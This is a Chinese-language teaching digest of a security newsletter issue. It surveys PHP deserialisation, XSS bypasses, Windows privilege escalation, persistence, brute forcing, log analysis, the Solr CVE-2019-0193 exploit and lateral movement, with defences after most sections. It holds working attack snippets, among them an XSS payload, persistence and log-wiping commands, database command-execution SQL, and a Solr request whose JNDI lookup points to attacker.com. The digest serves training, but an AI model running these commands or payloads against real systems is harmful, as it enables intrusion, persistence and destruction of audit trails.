专注Web及移动安全[红日安全95期]
字数 2812 2025-08-18 11:38:56

Web及移动安全综合教学文档

一、Web安全专题

1.1 PHP反序列化漏洞

  • 漏洞原理:PHP反序列化过程中,当用户可控数据被反序列化时,可能触发对象中的魔术方法(__wakeup, __destruct等),导致代码执行
  • 利用技巧
    • 利用__destruct方法进行文件删除或写入
    • 通过__toString方法触发其他危险操作
    • 利用POP(Property-Oriented Programming)链构造复杂利用
  • 防御措施
    • 避免反序列化用户输入
    • 使用json_encode/json_decode替代
    • 实现严格的对象类型检查

1.2 XSS绕过技术

  • 通用信息管理系统XSS绕过
    • 利用HTML属性注入:``
    • 事件处理程序绕过:<svg/onload=alert(1)>
    • 编码混淆技术:使用Unicode、HTML实体或JS编码
  • 防御方案
    • 严格的内容安全策略(CSP)
    • 输入过滤与输出编码
    • 使用XSS防护库如DOMPurify

二、渗透测试技术

2.1 提权漏洞利用

CVE-2018-8120

  • 影响系统:Windows 7/2008 R2及以下版本
  • 利用步骤:
    1. 检查目标系统补丁情况
    2. 编译并执行漏洞利用代码
    3. 通过Null指针解引用获取SYSTEM权限

CVE-2019-0803

  • 影响系统:Windows 10/Server 2019
  • 利用方式:
    • 利用Win32k组件中的条件竞争漏洞
    • 需要特定内存布局条件
    • 成功率受系统负载影响

2.2 后渗透阶段

  • 权限维持技术

    • 计划任务:schtasks /create /tn "Update" /tr "cmd.exe" /sc minute /mo 1
    • 服务创建:sc create "WindowsUpdate" binPath= "cmd.exe /k whoami"
    • WMI事件订阅:wmic /NAMESPACE:\\root\subscription PATH __EventFilter CREATE Name="TestFilter"
  • CobaltStrike自动化

    • 使用Aggressor Script实现自动化攻击
    • 通过Malleable C2配置文件规避检测
    • 内存注入技术(Process Hollowing, Process Doppelgänging)

三、安全工具详解

3.1 Hydra暴力破解工具

  • 支持协议:SSH, FTP, HTTP, SMB, RDP等30+协议
  • 常用参数
    hydra -L users.txt -P passwords.txt ssh://192.168.1.1
    hydra -l admin -P rockyou.txt ftp://target.com
    
  • 性能优化
    • 使用-t参数控制线程数
    • -T参数设置任务并行数
    • -w调整超时时间提高效率

3.2 Pown-Duct盲注检测

  • 工作原理
    • 基于时间延迟的盲注检测
    • 使用统计分析识别异常响应
    • 支持HTTP/HTTPS协议
  • 使用示例
    pown-duct detect --url http://target.com/search?q=test
    pown-duct exploit --url http://target.com --technique time-based
    

3.3 子域收集工具

  • 技术方法
    • DNS爆破:使用字典枚举常见子域
    • 证书透明度日志查询
    • 搜索引擎爬取(Google Dorking)
    • 递归查询NS记录
  • 推荐工具组合
    subfinder + amass + assetfinder + findomain
    

四、日志安全分析

4.1 日志收集架构

  • 日志来源
    • 系统日志(Syslog, EventLog)
    • 应用日志(Web服务器, 数据库)
    • 安全设备日志(防火墙, IDS/IPS)
  • 收集方案
    • ELK Stack(Elasticsearch+Logstash+Kibana)
    • Graylog
    • Splunk

4.2 日志分析技术

  • 攻击检测方法
    • 异常登录行为分析
    • 高频失败尝试识别
    • 非常规时间活动检测
  • SIEM集成
    • 关联规则编写
    • 威胁情报匹配
    • 用户行为分析(UEBA)

4.3 日志系统攻击

  • 常见攻击手法
    • 日志篡改:/var/log/*文件修改
    • 日志注入:通过用户输入污染日志
    • 日志清除:echo > /var/log/auth.log
  • 防护措施
    • 日志文件只读权限
    • 远程集中式日志存储
    • 日志完整性校验(Hash链)

五、网络爬虫安全

5.1 爬虫技术要点

  • 合法爬取规范
    • 遵守robots.txt协议
    • 设置合理爬取间隔
    • 标识合法User-Agent
  • 反爬绕过技术
    • IP轮换与代理池
    • 请求头随机化
    • 浏览器自动化(Puppeteer, Selenium)

5.2 爬虫安全风险

  • 潜在危害
    • 敏感数据泄露
    • 业务逻辑暴露
    • 服务器资源耗尽
  • 防护方案
    • 速率限制(Rate Limiting)
    • 行为分析检测
    • WAF规则配置

六、漏洞预警与响应

6.1 Apache Solr RCE(CVE-2019-0193)

  • 影响版本:Apache Solr 5.0.0 - 8.1.1
  • 漏洞原理
    • ConfigAPI允许通过HTTP请求修改solrconfig.xml
    • 恶意dataConfig参数导致JNDI注入
  • 利用过程
    POST /solr/demo/config HTTP/1.1
    {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
    
    GET /solr/demo/dataimport?command=full-import&dataConfig=
    <dataConfig>
      <dataSource type="JdbcDataSource" name="ds" jndiName="ldap://attacker.com/Exploit"/>
    </dataConfig>
    
  • 修复方案
    • 升级至最新版本
    • 禁用ConfigAPI
    • 网络访问控制

6.2 应急响应流程

  1. 事件确认:验证攻击真实性
  2. 影响评估:确定受影响范围
  3. 遏制措施:隔离受影响系统
  4. 根除恢复:修补漏洞,恢复服务
  5. 事后分析:撰写事件报告

七、数据库安全

7.1 数据库命令执行

  • SQL Server

    EXEC xp_cmdshell 'whoami';
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    
  • MySQL

    SELECT sys_exec('whoami');
    SELECT * FROM mysql.func WHERE name='sys_exec';
    
  • PostgreSQL

    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
    SELECT system('whoami');
    

7.2 防御措施

  • 最小权限原则
  • 禁用危险存储过程
  • 启用数据库审计

八、等保2.0实践

8.1 高风险项判定

  • 身份鉴别
    • 空口令或弱口令
    • 未启用多因素认证
  • 访问控制
    • 默认账户未禁用
    • 权限分离不足
  • 安全审计
    • 未记录关键操作
    • 日志保存期限不足

8.2 CentOS访问控制

  • 关键配置
    # /etc/ssh/sshd_config
    PermitRootLogin no
    PasswordAuthentication no
    
    # /etc/sudoers
    %wheel ALL=(ALL) NOPASSWD: ALL
    
    # /etc/security/access.conf
    -:ALL EXCEPT root wheel:ALL
    
  • SELinux策略
    getenforce # 查看状态
    setenforce 1 # 临时启用
    semanage port -a -t http_port_t -p tcp 8080 # 端口标签管理
    

九、内网渗透技术

9.1 横向移动方法

  • 凭证窃取
    • Mimikatz提取内存密码
    • LaZagne获取各类应用凭证
  • 利用共享资源
    • SMB共享枚举:smbclient -L //192.168.1.1
    • WMI远程执行:wmic /node:192.168.1.2 process call create "cmd.exe /c whoami"
  • PTT攻击
    • 黄金票据伪造
    • 白银票据利用

9.2 防御建议

  • 启用LSA保护
  • 限制WMI/SMB访问
  • 监控异常账户活动

十、安全开发实践

10.1 安全编码规范

  • 输入验证
    • 白名单优于黑名单
    • 数据类型严格校验
  • 输出编码
    • HTML实体编码:&lt; &gt; &amp;
    • JavaScript编码:\x3cscript\x3e
  • 会话管理
    • 使用框架提供机制
    • 设置HttpOnly和Secure标志

10.2 安全测试流程

  1. 威胁建模
  2. 静态代码分析
  3. 动态应用测试
  4. 渗透测试
  5. 安全评审

本教学文档基于FreeBuf红日安全第95期内容整理,涵盖了Web安全、渗透测试、安全工具使用、日志分析、漏洞利用等多个领域的关键知识点,可作为安全从业者的技术参考手册。

Web及移动安全综合教学文档 一、Web安全专题 1.1 PHP反序列化漏洞 漏洞原理 :PHP反序列化过程中,当用户可控数据被反序列化时,可能触发对象中的魔术方法(__ wakeup, __ destruct等),导致代码执行 利用技巧 : 利用__ destruct方法进行文件删除或写入 通过__ toString方法触发其他危险操作 利用POP(Property-Oriented Programming)链构造复杂利用 防御措施 : 避免反序列化用户输入 使用json_ encode/json_ decode替代 实现严格的对象类型检查 1.2 XSS绕过技术 通用信息管理系统XSS绕过 : 利用HTML属性注入: `` 事件处理程序绕过: <svg/onload=alert(1)> 编码混淆技术:使用Unicode、HTML实体或JS编码 防御方案 : 严格的内容安全策略(CSP) 输入过滤与输出编码 使用XSS防护库如DOMPurify 二、渗透测试技术 2.1 提权漏洞利用 CVE-2018-8120 影响系统:Windows 7/2008 R2及以下版本 利用步骤: 检查目标系统补丁情况 编译并执行漏洞利用代码 通过Null指针解引用获取SYSTEM权限 CVE-2019-0803 影响系统:Windows 10/Server 2019 利用方式: 利用Win32k组件中的条件竞争漏洞 需要特定内存布局条件 成功率受系统负载影响 2.2 后渗透阶段 权限维持技术 : 计划任务: schtasks /create /tn "Update" /tr "cmd.exe" /sc minute /mo 1 服务创建: sc create "WindowsUpdate" binPath= "cmd.exe /k whoami" WMI事件订阅: wmic /NAMESPACE:\\root\subscription PATH __EventFilter CREATE Name="TestFilter" CobaltStrike自动化 : 使用Aggressor Script实现自动化攻击 通过Malleable C2配置文件规避检测 内存注入技术(Process Hollowing, Process Doppelgänging) 三、安全工具详解 3.1 Hydra暴力破解工具 支持协议 :SSH, FTP, HTTP, SMB, RDP等30+协议 常用参数 : 性能优化 : 使用 -t 参数控制线程数 -T 参数设置任务并行数 -w 调整超时时间提高效率 3.2 Pown-Duct盲注检测 工作原理 : 基于时间延迟的盲注检测 使用统计分析识别异常响应 支持HTTP/HTTPS协议 使用示例 : 3.3 子域收集工具 技术方法 : DNS爆破:使用字典枚举常见子域 证书透明度日志查询 搜索引擎爬取(Google Dorking) 递归查询NS记录 推荐工具组合 : 四、日志安全分析 4.1 日志收集架构 日志来源 : 系统日志(Syslog, EventLog) 应用日志(Web服务器, 数据库) 安全设备日志(防火墙, IDS/IPS) 收集方案 : ELK Stack(Elasticsearch+Logstash+Kibana) Graylog Splunk 4.2 日志分析技术 攻击检测方法 : 异常登录行为分析 高频失败尝试识别 非常规时间活动检测 SIEM集成 : 关联规则编写 威胁情报匹配 用户行为分析(UEBA) 4.3 日志系统攻击 常见攻击手法 : 日志篡改: /var/log/* 文件修改 日志注入:通过用户输入污染日志 日志清除: echo > /var/log/auth.log 防护措施 : 日志文件只读权限 远程集中式日志存储 日志完整性校验(Hash链) 五、网络爬虫安全 5.1 爬虫技术要点 合法爬取规范 : 遵守robots.txt协议 设置合理爬取间隔 标识合法User-Agent 反爬绕过技术 : IP轮换与代理池 请求头随机化 浏览器自动化(Puppeteer, Selenium) 5.2 爬虫安全风险 潜在危害 : 敏感数据泄露 业务逻辑暴露 服务器资源耗尽 防护方案 : 速率限制(Rate Limiting) 行为分析检测 WAF规则配置 六、漏洞预警与响应 6.1 Apache Solr RCE(CVE-2019-0193) 影响版本 :Apache Solr 5.0.0 - 8.1.1 漏洞原理 : ConfigAPI允许通过HTTP请求修改solrconfig.xml 恶意dataConfig参数导致JNDI注入 利用过程 : 修复方案 : 升级至最新版本 禁用ConfigAPI 网络访问控制 6.2 应急响应流程 事件确认 :验证攻击真实性 影响评估 :确定受影响范围 遏制措施 :隔离受影响系统 根除恢复 :修补漏洞,恢复服务 事后分析 :撰写事件报告 七、数据库安全 7.1 数据库命令执行 SQL Server : MySQL : PostgreSQL : 7.2 防御措施 最小权限原则 禁用危险存储过程 启用数据库审计 八、等保2.0实践 8.1 高风险项判定 身份鉴别 : 空口令或弱口令 未启用多因素认证 访问控制 : 默认账户未禁用 权限分离不足 安全审计 : 未记录关键操作 日志保存期限不足 8.2 CentOS访问控制 关键配置 : SELinux策略 : 九、内网渗透技术 9.1 横向移动方法 凭证窃取 : Mimikatz提取内存密码 LaZagne获取各类应用凭证 利用共享资源 : SMB共享枚举: smbclient -L //192.168.1.1 WMI远程执行: wmic /node:192.168.1.2 process call create "cmd.exe /c whoami" PTT攻击 : 黄金票据伪造 白银票据利用 9.2 防御建议 启用LSA保护 限制WMI/SMB访问 监控异常账户活动 十、安全开发实践 10.1 安全编码规范 输入验证 : 白名单优于黑名单 数据类型严格校验 输出编码 : HTML实体编码: &lt; &gt; &amp; JavaScript编码: \x3cscript\x3e 会话管理 : 使用框架提供机制 设置HttpOnly和Secure标志 10.2 安全测试流程 威胁建模 静态代码分析 动态应用测试 渗透测试 安全评审 本教学文档基于FreeBuf红日安全第95期内容整理,涵盖了Web安全、渗透测试、安全工具使用、日志分析、漏洞利用等多个领域的关键知识点,可作为安全从业者的技术参考手册。